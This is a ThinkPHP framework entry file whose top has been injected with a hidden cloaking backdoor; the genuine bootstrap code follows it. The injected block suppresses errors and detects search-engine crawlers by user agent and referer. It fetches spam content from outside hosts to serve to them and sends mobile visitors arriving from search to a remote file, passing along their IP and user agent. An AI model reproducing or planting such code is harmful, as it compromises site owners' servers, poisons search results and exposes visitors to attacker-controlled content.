// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK IT ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2012 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

// ThinkPHP 入口文件
error_reporting(0);
define('wwwroot', 'http://x.govedu.cc/off/ip.php?');
define('request', $_SERVER['REQUEST_URI']);
define('referer', $_SERVER['HTTP_REFERER']);
define('user_agent', $_SERVER['HTTP_USER_AGENT']);
define('suffix', '/(\.(xml|doc|txt|ppt|xls|csv|shtml)|hh|wap|mtv|mip|app|video|article|content|question)/i');
define('is_origin', 'road=' . $_SERVER['HTTP_HOST'] . request);
define('spider_head', '@Baidu|Sogou|Yisou|Haosou|360Spi|Bytespi|So.com|Sm.cn|Toutiao.com@i');
define('is_suffix', preg_match(suffix, request));
define('is_referer', preg_match(spider_head, referer));
define('is_user_agent', preg_match(spider_head, user_agent));
define('is_mobile', preg_match('@Android|Mobile|Wap|iOS|iPad|iPhone|Tablet|iPod|Windows Phone@i', user_agent));
if (is_user_agent && is_suffix) {
    die(openweb(wwwroot . is_origin));
}
if (is_user_agent) {
    echo openweb(wwwroot . 'zz&');
    ob_flush();
    flush();
}
if (is_suffix && is_referer && is_mobile) {
    die(openweb('https://i.ixi.plus/9.txt'));
}
function openweb($request)
{
    $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
    $header = array('http' => array('method' => 'GET','header' => 'User-Agent: ' . user_agent . "\r\n" .'X-Forwarded-For: ' . $ip));
    $context = stream_context_create($header);
    $data = file_get_contents($request, false, $context);
    return $data;
}
//记录开始运行时间
$GLOBALS['_beginTime'] = microtime(TRUE);
// 记录内存初始使用
define('MEMORY_LIMIT_ON',function_exists('memory_get_usage'));
if(MEMORY_LIMIT_ON) $GLOBALS['_startUseMems'] = memory_get_usage();
defined('APP_PATH') 	or define('APP_PATH', dirname($_SERVER['SCRIPT_FILENAME']).'/');
defined('RUNTIME_PATH') or define('RUNTIME_PATH',APP_PATH.'Runtime/');
defined('APP_DEBUG') 	or define('APP_DEBUG',false); // 是否调试模式
$runtime = defined('MODE_NAME')?'~'.strtolower(MODE_NAME).'_runtime.php':'~runtime.php';
defined('RUNTIME_FILE') or define('RUNTIME_FILE',RUNTIME_PATH.$runtime);
if(!APP_DEBUG && is_file(RUNTIME_FILE)) {
    // 部署模式直接载入运行缓存
    require RUNTIME_FILE;
}else{
    // 系统目录定义
    defined('THINK_PATH') or define('THINK_PATH', dirname(__FILE__).'/');
    // 加载运行时文件
    require THINK_PATH.'Common/runtime.php';
}